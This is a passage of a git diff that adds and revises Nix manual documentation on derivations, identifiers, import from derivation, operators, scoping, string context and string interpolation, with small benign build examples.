set to `true` for the derivation. A detailed explanation of this + behavior can be found in the + [section about structured attrs](./advanced-attributes.md#adv-attr-structuredAttrs). + + - For each output declared in `outputs`, the corresponding + environment variable is set to point to the intended path in the + Nix store for that output. Each output path is a concatenation + of the cryptographic hash of all build inputs, the `name` + attribute and the output name. (The output name is omitted if + it’s `out`.) + +- If an output path already exists, it is removed. Also, locks are + acquired to prevent multiple Nix instances from performing the same + build at the same time. + +- A log of the combined standard output and error is written to + `/nix/var/log/nix`. + +- The builder is executed with the arguments specified by the + attribute `args`. If it exits with exit code 0, it is considered to + have succeeded. + +- The temporary directory is removed (unless the `-K` option was + specified). + +- If the build was successful, Nix scans each output path for + references to input paths by looking for the hash parts of the input + paths. Since these are potential runtime dependencies, Nix registers + them as dependencies of the output paths. + +- After the build, Nix sets the last-modified timestamp on all files + in the build result to 1 (00:00:01 1/1/1970 UTC), sets the group to + the default group, and sets the mode of the file to 0444 or 0555 + (i.e., read-only, with execute permission enabled if the file was + originally executable). Note that possible `setuid` and `setgid` + bits are cleared. Setuid and setgid programs are not currently + supported by Nix. This is because the Nix archives used in + deployment have no concept of ownership information, and because it + makes the build result dependent on the user performing the build. diff --git a/doc/manual/src/language/identifiers.md b/doc/manual/src/language/identifiers.md new file mode 100644 index 000000000..584a2f861 --- /dev/null +++ b/doc/manual/src/language/identifiers.md @@ -0,0 +1,51 @@ +# Identifiers + +An *identifier* is an [ASCII](https://en.wikipedia.org/wiki/ASCII) character sequence that: +- Starts with a letter (`a-z`, `A-Z`) or underscore (`_`) +- Can contain any number of: + - Letters (`a-z`, `A-Z`) + - Digits (`0-9`) + - Underscores (`_`) + - Apostrophes (`'`) + - Hyphens (`-`) +- Is not one of the [keywords](#keywords) + +> **Syntax** +> +> *identifier* ~ `[A-Za-z_][A-Za-z0-9_'-]*` + +# Names + +A *name* can be written as an [identifier](#identifier) or a [string literal](./string-literals.md). + +> **Syntax** +> +> *name* → *identifier* | *string* + +Names are used in [attribute sets](./syntax.md#attrs-literal), [`let` bindings](./syntax.md#let-expressions), and [`inherit`](./syntax.md#inheriting-attributes). +Two names are the same if they represent the same sequence of characters, regardless of whether they are written as identifiers or strings. + +# Keywords + +These keywords are reserved and cannot be used as [identifiers](#identifiers): + +- [`assert`](./syntax.md#assertions) +- [`else`][if] +- [`if`][if] +- [`in`][let] +- [`inherit`](./syntax.md#inheriting-attributes) +- [`let`][let] +- [`or`](./operators.md#attribute-selection) (see note) +- [`rec`](./syntax.md#recursive-sets) +- [`then`][if] +- [`with`](./syntax.md#with-expressions) + +[if]: ./syntax.md#conditionals +[let]: ./syntax.md#let-expressions + +> **Note** +> +> The Nix language evaluator currently allows `or` to be used as a name in some contexts, for backwards compatibility reasons. +> Users are advised not to rely on this. +> +> There are long-standing issues with how `or` is parsed as a name, which can't be resolved without making a breaking change to the language. diff --git a/doc/manual/src/language/import-from-derivation.md b/doc/manual/src/language/import-from-derivation.md new file mode 100644 index 000000000..e901f5bcf --- /dev/null +++ b/doc/manual/src/language/import-from-derivation.md @@ -0,0 +1,141 @@ +# Import From Derivation + +The value of a Nix expression can depend on the contents of a [store object]. + +[store object]: @docroot@/store/store-object.md + +Passing an expression `expr` that evaluates to a [store path](@docroot@/store/store-path.md) to any built-in function which reads from the filesystem constitutes Import From Derivation (IFD): + +- [`import`](./builtins.md#builtins-import)` expr` +- [`builtins.readFile`](./builtins.md#builtins-readFile)` expr` +- [`builtins.readFileType`](./builtins.md#builtins-readFileType)` expr` +- [`builtins.readDir`](./builtins.md#builtins-readDir)` expr` +- [`builtins.pathExists`](./builtins.md#builtins-pathExists)` expr` +- [`builtins.filterSource`](./builtins.md#builtins-filterSource)` f expr` +- [`builtins.path`](./builtins.md#builtins-path)` { path = expr; }` +- [`builtins.hashFile`](./builtins.md#builtins-hashFile)` t expr` +- `builtins.scopedImport x drv` + +When the store path needs to be accessed, evaluation will be paused, the corresponding store object [realised], and then evaluation resumed. + +[realised]: @docroot@/glossary.md#gloss-realise + +This has performance implications: +Evaluation can only finish when all required store objects are realised. +Since the Nix language evaluator is sequential, it only finds store paths to read from one at a time. +While realisation is always parallel, in this case it cannot be done for all required store paths at once, and is therefore much slower than otherwise. + +Realising store objects during evaluation can be disabled by setting [`allow-import-from-derivation`](../command-ref/conf-file.md#conf-allow-import-from-derivation) to `false`. +Without IFD it is ensured that evaluation is complete and Nix can produce a build plan before starting any realisation. + +## Example + +In the following Nix expression, the inner derivation `drv` produces a file with contents `hello`. + +```nix +# IFD.nix +let + drv = derivation { + name = "hello"; + builder = "/bin/sh"; + args = [ "-c" "echo -n hello > $out" ]; + system = builtins.currentSystem; + }; +in "${builtins.readFile drv} world" +``` + +```shellSession +nix-instantiate IFD.nix --eval --read-write-mode +``` + +``` +building '/nix/store/348q1cal6sdgfxs8zqi9v8llrsn4kqkq-hello.drv'... +"hello world" +``` + +The contents of the derivation's output have to be [realised] before they can be read with [`readFile`](./builtins.md#builtins-readFile). +Only then evaluation can continue to produce the final result. + +## Illustration + +As a first approximation, the following data flow graph shows how evaluation and building are interleaved, if the value of a Nix expression depends on realising a [store object]. +Boxes are data structures, arrow labels are transformations. + +``` ++----------------------+ +------------------------+ +| Nix evaluator | | Nix store | +| .----------------. | | | +| | Nix expression | | | | +| '----------------' | | | +| | | | | +| evaluate | | | +| | | | | +| V | | | +| .------------. | | .------------------. | +| | derivation |----|-instantiate-|->| store derivation | | +| '------------' | | '------------------' | +| | | | | +| | | realise | +| | | | | +| | | V | +| .----------------. | | .--------------. | +| | Nix expression |<-|----read-----|----| store object | | +| '----------------' | | '--------------' | +| | | | | +| evaluate | | | +| | | | | +| V | | | +| .------------. | | | +| | value | | | | +| '------------' | | | ++----------------------+ +------------------------+ +``` + +In more detail, the following sequence diagram shows how the expression is evaluated step by step, and where evaluation is blocked to wait for the build output to appear. + +``` +.-------. .-------------. .---------. +|Nix CLI| |Nix evaluator| |Nix store| +'-------' '-------------' '---------' + | | | + |evaluate IFD.nix| | + |--------------->| | + | | | + | evaluate `"${readFile drv} world"` | + | | | + | evaluate `readFile drv` | + | | | + | evaluate `drv` as string | + | | | + | |instantiate /nix/store/...-hello.drv| + | |----------------------------------->| + | : | + | : realise /nix/store/...-hello.drv | + | :----------------------------------->| + | : | + | |--------. + | : | | + | (evaluation blocked) | echo hello > $out + | : | | + | |<-------' + | : /nix/store/...-hello | + | |<-----------------------------------| + | | | + | resume `readFile /nix/store/...-hello` | + | | | + | | readFile /nix/store/...-hello | + | |----------------------------------->| + | | | + | | hello | + | |<-----------------------------------| + | | | + | resume `"${"hello"} world"` | + | | | + | resume `"hello world"` | + | | | + | "hello world" | | + |<---------------| | +.-------. .-------------. .---------. +|Nix CLI| |Nix evaluator| |Nix store| +'-------' '-------------' '---------' +``` diff --git a/doc/manual/src/language/index.md b/doc/manual/src/language/index.md index db34fde75..2bfdbb8a0 100644 --- a/doc/manual/src/language/index.md +++ b/doc/manual/src/language/index.md @@ -1,12 +1,17 @@ # Nix Language -The Nix language is +The Nix language is designed for conveniently creating and composing *derivations* – precise descriptions of how contents of existing files are used to derive new files. + +> **Tip** +> +> These pages are written as a reference. +> If you are learning Nix, nix.dev has a good [introduction to the Nix language](https://nix.dev/tutorials/nix-language). + +The language is: - *domain-specific* - It only exists for the Nix package manager: - to describe packages and configurations as well as their variants and compositions. - It is not intended for general purpose use. + It comes with [built-in functions](@docroot@/language/builtins.md) to integrate with the Nix store, which manages files and performs the derivations declared in the Nix language. - *declarative* @@ -25,7 +30,7 @@ The Nix language is - *lazy* - Expressions are only evaluated when their value is needed. + Values are only computed when they are needed. - *dynamically typed* @@ -48,7 +53,7 @@ This is an incomplete overview of language features, by example. - *Basic values* + *Basic values ([primitives](@docroot@/language/types.md#primitives))* @@ -66,7 +71,7 @@ This is an incomplete overview of language features, by example. - A string + A [string](@docroot@/language/types.md#type-string) @@ -84,14 +89,27 @@ This is an incomplete overview of language features, by example. - A multi-line string. Strips common prefixed whitespace. Evaluates to `"multi\n line\n string"`. + + A multi-line string. Strips common prefixed whitespace. Evaluates to `"multi\n line\n  string"`. - `"hello ${ { a = "world" }.a }"` + `# Explanation` + + + + + A [comment](@docroot@/language/syntax.md#comments). + + + + + + + `"hello ${ { a = "world"; }.a }"` `"1 2 ${toString 3}"` @@ -100,7 +118,7 @@ This is an incomplete overview of language features, by example. - String interpolation (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/-bash-/bin/sh"`) + [String interpolation](@docroot@/language/string-interpolation.md) (expands to `"hello world"`, `"1 2 3"`, `"/nix/store/-bash-/bin/sh"`) @@ -112,7 +130,7 @@ This is an incomplete overview of language features, by example. - Booleans + [Booleans](@docroot@/language/types.md#type-boolean) @@ -124,7 +142,7 @@ This is an incomplete overview of language features, by example. - Null value + [Null](@docroot@/language/types.md#type-null) value @@ -136,7 +154,7 @@ This is an incomplete overview of language features, by example. - An integer + An [integer](@docroot@/language/types.md#type-int) @@ -148,7 +166,7 @@ This is an incomplete overview of language features, by example. - A floating point number + A [floating point number](@docroot@/language/types.md#type-float) @@ -160,7 +178,7 @@ This is an incomplete overview of language features, by example. - An absolute path + An absolute [path](@docroot@/language/types.md#type-path) @@ -172,7 +190,7 @@ This is an incomplete overview of language features, by example. - A path relative to the file containing this Nix expression + A [path](@docroot@/language/types.md#type-path) relative to the file containing this Nix expression @@ -184,19 +202,19 @@ This is an incomplete overview of language features, by example. - A home path. Evaluates to the `"/.config"`. + A home [path](@docroot@/language/types.md#type-path). Evaluates to the `"/.config"`. - + `` - Search path. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH). + A [lookup path](@docroot@/language/constructs/lookup-path.md) for Nix files. Value determined by [`$NIX_PATH` environment variable](../command-ref/env-common.md#env-NIX_PATH). @@ -220,7 +238,7 @@ This is an incomplete overview of language features, by example. - A set with attributes named `x` and `y` + An [attribute set](@docroot@/language/types.md#attribute-set) with attributes named `x` and `y` @@ -244,7 +262,7 @@ This is an incomplete overview of language features, by example. - A recursive set, equivalent to `{ x = "foo"; y = "foobar"; }` + A [recursive set](@docroot@/language/syntax.md#recursive-sets), equivalent to `{ x = "foo"; y = "foobar"; }`. @@ -260,7 +278,7 @@ This is an incomplete overview of language features, by example. - Lists with three elements. + [Lists](@docroot@/language/types.md#list) with three elements. @@ -344,7 +362,7 @@ This is an incomplete overview of language features, by example. - Attribute selection (evaluates to `1`) + [Attribute selection](@docroot@/language/types.md#attribute-set) (evaluates to `1`) @@ -356,7 +374,7 @@ This is an incomplete overview of language features, by example. - Attribute selection with default (evaluates to `3`) + [Attribute selection](@docroot@/language/types.md#attribute-set) with default (evaluates to `3`) @@ -392,7 +410,7 @@ This is an incomplete overview of language features, by example. - Conditional expression + [Conditional expression](@docroot@/language/syntax.md#conditionals). @@ -404,7 +422,7 @@ This is an incomplete overview of language features, by example. - Assertion check (evaluates to `"yes!"`). + [Assertion](@docroot@/language/syntax.md#assertions) check (evaluates to `"yes!"`). @@ -416,7 +434,7 @@ This is an incomplete overview of language features, by example. - Variable definition + Variable definition. See [`let`-expressions](@docroot@/language/syntax.md#let-expressions). @@ -428,14 +446,44 @@ This is an incomplete overview of language features, by example. - Add all attributes from the given set to the scope (evaluates to `1`) + Add all attributes from the given set to the scope (evaluates to `1`). + + See [`with`-expressions](@docroot@/language/syntax.md#with-expressions) for details and shadowing caveats. - *Functions (lambdas)* + `inherit pkgs src;` + + + + + Adds the variables to the current scope (attribute set or `let` binding). + Desugars to `pkgs = pkgs; src = src;`. + See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes). + + + + + + + `inherit (pkgs) lib stdenv;` + + + + + Adds the attributes, from the attribute set in parentheses, to the current scope (attribute set or `let` binding). + Desugars to `lib = pkgs.lib; stdenv = pkgs.stdenv;`. + See [Inheriting attributes](@docroot@/language/syntax.md#inheriting-attributes). + + + + + + + *[Functions](@docroot@/language/syntax.md#functions) (lambdas)* @@ -452,7 +500,7 @@ This is an incomplete overview of language features, by example. - A function that expects an integer and returns it increased by 1 + A [function](@docroot@/language/syntax.md#functions) that expects an integer and returns it increased by 1. @@ -464,7 +512,7 @@ This is an incomplete overview of language features, by example. - Curried function, equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. + Curried [function](@docroot@/language/syntax.md#functions), equivalent to `x: (y: x + y)`. Can be used like a function that takes two arguments and returns their sum. @@ -476,7 +524,7 @@ This is an incomplete overview of language features, by example. - A function call (evaluates to 101) + A [function](@docroot@/language/syntax.md#functions) call (evaluates to 101) @@ -488,7 +536,7 @@ This is an incomplete overview of language features, by example. - A function bound to a variable and subsequently called by name (evaluates to 103) + A [function](@docroot@/language/syntax.md#functions) bound to a variable and subsequently called by name (evaluates to 103) @@ -500,7 +548,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y` and concatenates them + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and concatenates them @@ -512,7 +560,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attribute `x` and optional `y`, using `"bar"` as default value for `y` @@ -524,7 +572,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y` and ignores any other attributes + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y` and ignores any other attributes @@ -538,7 +586,7 @@ This is an incomplete overview of language features, by example. - A function that expects a set with required attributes `x` and `y`, and binds the whole set to `args` + A [function](@docroot@/language/syntax.md#functions) that expects a set with required attributes `x` and `y`, and binds the whole set to `args` @@ -562,7 +610,8 @@ This is an incomplete overview of language features, by example. - Load and return Nix expression in given file + Load and return Nix expression in given file. + See [import](@docroot@/language/builtins.md#builtins-import). @@ -574,7 +623,8 @@ This is an incomplete overview of language features, by example. - Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`) + Apply a function to every element of a list (evaluates to `[ 2 4 6 ]`). + See [`map`](@docroot@/language/builtins.md#builtins-map). diff --git a/doc/manual/src/language/operators.md b/doc/manual/src/language/operators.md index 32398189d..27444258a 100644 --- a/doc/manual/src/language/operators.md +++ b/doc/manual/src/language/operators.md @@ -1,28 +1,235 @@ # Operators -The table below lists the operators in the Nix language, in -order of precedence (from strongest to weakest binding). +| Name | Syntax | Associativity | Precedence | +|----------------------------------------|--------------------------------------------|---------------|------------| +| [Attribute selection] | *attrset* `.` *attrpath* \[ `or` *expr* \] | none | 1 | +| [Function application] | *func* *expr* | left | 2 | +| [Arithmetic negation][arithmetic] | `-` *number* | none | 3 | +| [Has attribute] | *attrset* `?` *attrpath* | none | 4 | +| List concatenation | *list* `++` *list* | right | 5 | +| [Multiplication][arithmetic] | *number* `*` *number* | left | 6 | +| [Division][arithmetic] | *number* `/` *number* | left | 6 | +| [Subtraction][arithmetic] | *number* `-` *number* | left | 7 | +| [Addition][arithmetic] | *number* `+` *number* | left | 7 | +| [String concatenation] | *string* `+` *string* | left | 7 | +| [Path concatenation] | *path* `+` *path* | left | 7 | +| [Path and string concatenation] | *path* `+` *string* | left | 7 | +| [String and path concatenation] | *string* `+` *path* | left | 7 | +| Logical negation (`NOT`) | `!` *bool* | none | 8 | +| [Update] | *attrset* `//` *attrset* | right | 9 | +| [Less than][Comparison] | *expr* `<` *expr* | none | 10 | +| [Less than or equal to][Comparison] | *expr* `<=` *expr* | none | 10 | +| [Greater than][Comparison] | *expr* `>` *expr* | none | 10 | +| [Greater than or equal to][Comparison] | *expr* `>=` *expr* | none | 10 | +| [Equality] | *expr* `==` *expr* | none | 11 | +| Inequality | *expr* `!=` *expr* | none | 11 | +| Logical conjunction (`AND`) | *bool* `&&` *bool* | left | 12 | +| Logical disjunction (`OR`) | *bool* \|\| *bool* | left | 13 | +| [Logical implication] | *bool* `->` *bool* | right | 14 | +| [Pipe operator] (experimental) | *expr* `\|>` *func* | left | 15 | +| [Pipe operator] (experimental) | *func* `<\|` *expr* | right | 15 | -| Name | Syntax | Associativity | Description | Precedence | -| ------------------------ | ----------------------------------- | ------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------- | -| Select | *e* `.` *attrpath* \[ `or` *def* \] | none | Select attribute denoted by the attribute path *attrpath* from set *e*. (An attribute path is a dot-separated list of attribute names.) If the attribute doesn’t exist, return *def* if provided, otherwise abort evaluation. | 1 | -| Application | *e1* *e2* | left | Call function *e1* with argument *e2*. | 2 | -| Arithmetic Negation | `-` *e* | none | Arithmetic negation. | 3 | -| Has Attribute | *e* `?` *attrpath* | none | Test whether set *e* contains the attribute denoted by *attrpath*; return `true` or `false`. | 4 | -| List Concatenation | *e1* `++` *e2* | right | List concatenation. | 5 | -| Multiplication | *e1* `*` *e2*, | left | Arithmetic multiplication. | 6 | -| Division | *e1* `/` *e2* | left | Arithmetic division. | 6 | -| Addition | *e1* `+` *e2* | left | Arithmetic addition. | 7 | -| Subtraction | *e1* `-` *e2* | left | Arithmetic subtraction. | 7 | -| String Concatenation | *string1* `+` *string2* | left | String concatenation. | 7 | -| Not | `!` *e* | none | Boolean negation. | 8 | -| Update | *e1* `//` *e2* | right | Return a set consisting of the attributes in *e1* and *e2* (with the latter taking precedence over the former in case of equally named attributes). | 9 | -| Less Than | *e1* `<` *e2*, | none | Arithmetic/lexicographic comparison. | 10 | -| Less Than or Equal To | *e1* `<=` *e2* | none | Arithmetic/lexicographic comparison. | 10 | -| Greater Than | *e1* `>` *e2* | none | Arithmetic/lexicographic comparison. | 10 | -| Greater Than or Equal To | *e1* `>=` *e2* | none | Arithmetic/lexicographic comparison. | 10 | -| Equality | *e1* `==` *e2* | none | Equality. | 11 | -| Inequality | *e1* `!=` *e2* | none | Inequality. | 11 | -| Logical AND | *e1* `&&` *e2* | left | Logical AND. | 12 | -| Logical OR | *e1* || *e2* | left | Logical OR. | 13 | -| Logical Implication | *e1* `->` *e2* | none | Logical implication (equivalent to !e1 || e2). | 14 | +[string]: ./types.md#type-string +[path]: ./types.md#type-path +[number]: ./types.md#type-float +[list]: ./types.md#type-list +[attribute set]: ./types.md#attribute-set + + + +## Attribute selection + +> **Syntax** +> +> *attrset* `.` *attrpath* \[ `or` *expr* \] + +Select the attribute denoted by attribute path *attrpath* from [attribute set] *attrset*. +If the attribute doesn’t exist, return the *expr* after `or` if provided, otherwise abort evaluation. + +[Attribute selection]: #attribute-selection + +## Function application + +> **Syntax** +> +> *func* *expr* + +Apply the callable value *func* to the argument *expr*. Note the absence of any visible operator symbol. +A callable value is either: +- a [user-defined function][function] +- a [built-in][builtins] function +- an attribute set with a [`__functor` attribute](./syntax.md#attr-__functor) + +> **Warning** +> +> [List][list] items are also separated by whitespace, which means that function calls in list items must be enclosed by parentheses. + +## Has attribute + +> **Syntax** +> +> *attrset* `?` *attrpath* + +Test whether [attribute set] *attrset* contains the attribute denoted by *attrpath*. +The result is a [Boolean] value. + +See also: [`builtins.hasAttr`](@docroot@/language/builtins.md#builtins-hasAttr) + +[Boolean]: ./types.md#type-boolean + +[Has attribute]: #has-attribute + +After evaluating *attrset* and *attrpath*, the computational complexity is O(log(*n*)) for *n* attributes in the *attrset* + +## Arithmetic + +Numbers will retain their type unless mixed with other numeric types: +Pure integer operations will always return integers, whereas any operation involving at least one floating point number returns a floating point number. + +Evaluation of the following numeric operations throws an evaluation error: +- Division by zero +- Integer overflow, that is, any operation yielding a result outside of the representable range of [Nix language integers](./syntax.md#number-literal) + +See also [Comparison] and [Equality]. + +The `+` operator is overloaded to also work on strings and paths. + +[arithmetic]: #arithmetic + +## String concatenation + +> **Syntax** +> +> *string* `+` *string* + +Concatenate two [strings][string] and merge their string contexts. + +[String concatenation]: #string-concatenation + +## Path concatenation + +> **Syntax** +> +> *path* `+` *path* + +Concatenate two [paths][path]. +The result is a path. + +[Path concatenation]: #path-concatenation + +## Path and string concatenation + +> **Syntax** +> +> *path* + *string* + +Concatenate *[path]* with *[string]*. +The result is a path. + +> **Note** +> +> The string must not have a string context that refers to a [store path]. + +[Path and string concatenation]: #path-and-string-concatenation + +## String and path concatenation + +> **Syntax** +> +> *string* + *path* + +Concatenate *[string]* with *[path]*. +The result is a string. + +> **Important** +> +> The file or directory at *path* must exist and is copied to the [store]. +> The path appears in the result as the corresponding [store path]. + +[store path]: @docroot@/store/store-path.md +[store]: @docroot@/glossary.md#gloss-store + +[String and path concatenation]: #string-and-path-concatenation + +## Update + +> **Syntax** +> +> *attrset1* // *attrset2* + +Update [attribute set] *attrset1* with names and values from *attrset2*. + +The returned attribute set will have all of the attributes in *attrset1* and *attrset2*. +If an attribute name is present in both, the attribute value from the latter is taken. + +[Update]: #update + +## Comparison + +Comparison is + +- [arithmetic] for [numbers][number] +- lexicographic for [strings][string] and [paths][path] +- item-wise lexicographic for [lists][list]: + elements at the same index in both lists are compared according to their type and skipped if they are equal. + +All comparison operators are implemented in terms of `<`, and the following equivalencies hold: + +| comparison | implementation | +|--------------|-----------------------| +| *a* `<=` *b* | `! (` *b* `<` *a* `)` | +| *a* `>` *b* | *b* `<` *a* | +| *a* `>=` *b* | `! (` *a* `<` *b* `)` | + +[Comparison]: #comparison + +## Equality + +- [Attribute sets][attribute set] and [lists][list] are compared recursively, and therefore are fully evaluated. +- Comparison of [functions][function] always returns `false`. +- Numbers are type-compatible, see [arithmetic] operators. +- Floating point numbers only differ up to a limited precision. + +[function]: ./syntax.md#functions + +[Equality]: #equality + +## Logical implication + +Equivalent to `!`*b1* `||` *b2*. + +[Logical implication]: #logical-implication + +## Pipe operators + +- *a* `|>` *b* is equivalent to *b* *a* +- *a* `<|` *b* is equivalent to *a* *b* + +> **Example** +> +> ``` +> nix-repl> 1 |> builtins.add 2 |> builtins.mul 3 +> 9 +> +> nix-repl> builtins.add 1 <| builtins.mul 2 <| 3 +> 7 +> ``` + +> **Warning** +> +> This syntax is part of an +> [experimental feature](@docroot@/development/experimental-features.md) +> and may change in future releases. +> +> To use this syntax, make sure the +> [`pipe-operators` experimental feature](@docroot@/development/experimental-features.md#xp-feature-pipe-operators) +> is enabled. +> For example, include the following in [`nix.conf`](@docroot@/command-ref/conf-file.md): +> +> ``` +> extra-experimental-features = pipe-operators +> ``` + +[Pipe operator]: #pipe-operators +[builtins]: ./builtins.md +[Function application]: #function-application diff --git a/doc/manual/src/language/scope.md b/doc/manual/src/language/scope.md new file mode 100644 index 000000000..9373324e2 --- /dev/null +++ b/doc/manual/src/language/scope.md @@ -0,0 +1,28 @@ +# Scoping rules + +A *scope* in the Nix language is a dictionary keyed by [name](./identifiers.md#names), mapping each name to an expression and a *definition type*. +The definition type is either *explicit* or *implicit*. +Each entry in this dictionary is a *definition*. + +Explicit definitions are created by the following expressions: +- [let-expressions](syntax.md#let-expressions) +- [recursive attribute set literals](syntax.md#recursive-sets) (`rec`) +- [function literals](syntax.md#functions) + +Implicit definitions are only created by [with-expressions](./syntax.md#with-expressions). + +Every expression is *enclosed* by a scope. +The outermost expression is enclosed by the [built-in, global scope](./builtins.md), which contains only explicit definitions. +The expressions listed above *extend* their enclosing scope by adding new definitions, or replacing existing ones with the same name. +An explicit definition can replace a definition of any type; an implicit definition can only replace another implicit definition. + +Each of the above expressions defines which of its subexpressions are enclosed by the extended scope. +In all other cases, the same scope that encloses an expression is the enclosing scope for its subexpressions. + +The Nix language is [statically scoped](https://en.wikipedia.org/wiki/Scope_(computer_science)#Lexical_scope); +the value of a variable is determined only by the variable's enclosing scope, and not by the dynamic context in which the variable is evaluated. + +> **Note** +> +> Expressions entered into the [Nix REPL](@docroot@/command-ref/new-cli/nix3-repl.md) are enclosed by a scope that can be extended by command line arguments or previous REPL commands. +> These ways of extending scope are not, strictly speaking, part of the Nix language. diff --git a/doc/manual/src/language/string-context.md b/doc/manual/src/language/string-context.md new file mode 100644 index 000000000..6a3482cfd --- /dev/null +++ b/doc/manual/src/language/string-context.md @@ -0,0 +1,134 @@ +# String context + +> **Note** +> +> This is an advanced topic. +> The Nix language is designed to be used without the programmer consciously dealing with string contexts or even knowing what they are. + +A string in the Nix language is not just a sequence of characters like strings in other languages. +It is actually a pair of a sequence of characters and a *string context*. +The string context is an (unordered) set of *string context elements*. + +The purpose of string contexts is to collect non-string values attached to strings via +[string concatenation](./operators.md#string-concatenation), +[string interpolation](./string-interpolation.md), +and similar operations. +The idea is that a user can combine together values to create a build instructions for derivations without manually keeping track of where they come from. +Then the Nix language implicitly does that bookkeeping to efficiently obtain the closure of derivation inputs. + +> **Note** +> +> String contexts are *not* explicitly manipulated in idiomatic Nix language code. + +String context elements come in different forms: + +- [deriving path]{#string-context-element-derived-path} + + A string context element of this type is a [deriving path](@docroot@/glossary.md#gloss-deriving-path). + They can be either of type [constant](#string-context-constant) or [output](#string-context-output), which correspond to the types of deriving paths. + + - [Constant string context elements]{#string-context-constant} + + > **Example** + > + > [`builtins.storePath`] creates a string with a single constant string context element: + > + > ```nix + > builtins.getContext (builtins.storePath "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10") + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/wkhdf9jinag5750mqlax6z2zbwhqb76n-hello-2.10" = { + > path = true; + > }; + > } + > ``` + + [deriving path]: @docroot@/glossary.md#gloss-deriving-path + [store path]: @docroot@/glossary.md#gloss-store-path + [`builtins.storePath`]: ./builtins.md#builtins-storePath + + - [Output string context elements]{#string-context-output} + + > **Example** + > + > The behavior of string contexts are best demonstrated with a built-in function that is still experimental: [`builtins.outputOf`]. + > This example will *not* work with stable Nix! + > + > ```nix + > builtins.getContext + > (builtins.outputOf + > (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv") + > "out") + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = { + > outputs = [ "out" ]; + > }; + > } + > ``` + + [`builtins.outputOf`]: ./builtins.md#builtins-outputOf + +- [*derivation deep*]{#string-context-element-derivation-deep} + + *derivation deep* is an advanced feature intended to be used with the + [`exportReferencesGraph` derivation attribute](./advanced-attributes.html#adv-attr-exportReferencesGraph). + A *derivation deep* string context element is a derivation path, and refers to both its outputs and the entire build closure of that derivation: + all its outputs, all the other derivations the given derivation depends on, and all the outputs of those. + + > **Example** + > + > The best way to illustrate *derivation deep* string contexts is with [`builtins.addDrvOutputDependencies`]. + > Take a regular constant string context element pointing to a derivation, and transform it into a "Derivation deep" string context element. + > + > ```nix + > builtins.getContext + > (builtins.addDrvOutputDependencies + > (builtins.storePath "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv")) + > ``` + > evaluates to + > ```nix + > { + > "/nix/store/fvchh9cvcr7kdla6n860hshchsba305w-hello-2.12.drv" = { + > allOutputs = true; + > }; + > } + > ``` + + [`builtins.addDrvOutputDependencies`]: ./builtins.md#builtins-addDrvOutputDependencies + [`builtins.unsafeDiscardOutputDependency`]: ./builtins.md#builtins-unsafeDiscardOutputDependency + +## Inspecting string contexts + +Most basically, [`builtins.hasContext`] will tell whether a string has a non-empty context. + +When more granular information is needed, [`builtins.getContext`] can be used. +It creates an [attribute set] representing the string context, which can be inspected as usual. + +[`builtins.hasContext`]: ./builtins.md#builtins-hasContext +[`builtins.getContext`]: ./builtins.md#builtins-getContext +[attribute set]: ./types.md#attribute-set + +## Clearing string contexts + +[`buitins.unsafeDiscardStringContext`](./builtins.md#builtins-unsafeDiscardStringContext) will make a copy of a string, but with an empty string context. +The returned string can be used in more ways, e.g. by operators that require the string context to be empty. +The requirement to explicitly discard the string context in such use cases helps ensure that string context elements are not lost by mistake. +The "unsafe" marker is only there to remind that Nix normally guarantees that dependencies are tracked, whereas the returned string has lost them. + +## Constructing string contexts + +[`builtins.appendContext`] will create a copy of a string, but with additional string context elements. +The context is specified explicitly by an [attribute set] in the format that [`builtins.hasContext`] produces. +A string with arbitrary contexts can be made like this: + +1. Create a string with the desired string context elements. + (The contents of the string do not matter.) +2. Dump its context with [`builtins.getContext`]. +3. Combine it with a base string and repeated [`builtins.appendContext`] calls. + +[`builtins.appendContext`]: ./builtins.md#builtins-appendContext diff --git a/doc/manual/src/language/string-interpolation.md b/doc/manual/src/language/string-interpolation.md new file mode 100644 index 000000000..27780dcbb --- /dev/null +++ b/doc/manual/src/language/string-interpolation.md @@ -0,0 +1,245 @@ +# String interpolation + +String interpolation is a language feature where a [string], [path], or [attribute name][attribute set] can contain expressions enclosed in `${ }` (dollar-sign with curly brackets). + +Such a construct is called *interpolated string*, and the expression inside is an [interpolated expression](#interpolated-expression). + +[string]: ./types.md#type-string +[path]: ./types.md#type-path +[attribute set]: ./types.md#attribute-set + +> **Syntax** +> +> *interpolation_element* → `${` *expression* `}` + +## Examples + +### String + +Rather than writing + +```nix +"--with-freetype2-library=" + freetype + "/lib" +``` + +(where `freetype` is a [derivation]), you can instead write + +[derivation]: @docroot@/glossary.md#gloss-derivation + +```nix +"--with-freetype2-library=${freetype}/lib" +``` + +The latter is automatically translated to the former. + +A more complicated example (from the Nix expression for [Qt](http://www.trolltech.com/products/qt)): + +```nix +configureFlags = " + -system-zlib -system-libpng -system-libjpeg + ${if openglSupport then "-dlopen-opengl + -L${mesa}/lib -I${mesa}/include + -L${libXmu}/lib -I${libXmu}/include" else ""} + ${if threadSupport then "-thread" else "-no-thread"} +"; +``` + +Note that Nix expressions and strings can be arbitrarily nested; +in this case the outer string contains various interpolated expressions that themselves contain strings (e.g., `"-thread"`), some of which in turn contain interpolated expressions (e.g., `${mesa}`). + +To write a literal `${` in an regular string, escape it with a backslash (`\`). + +> **Example** +> +> ```nix +> "echo \${PATH}" +> ``` +> +> "echo ${PATH}" + +To write a literal `${` in an indented string, 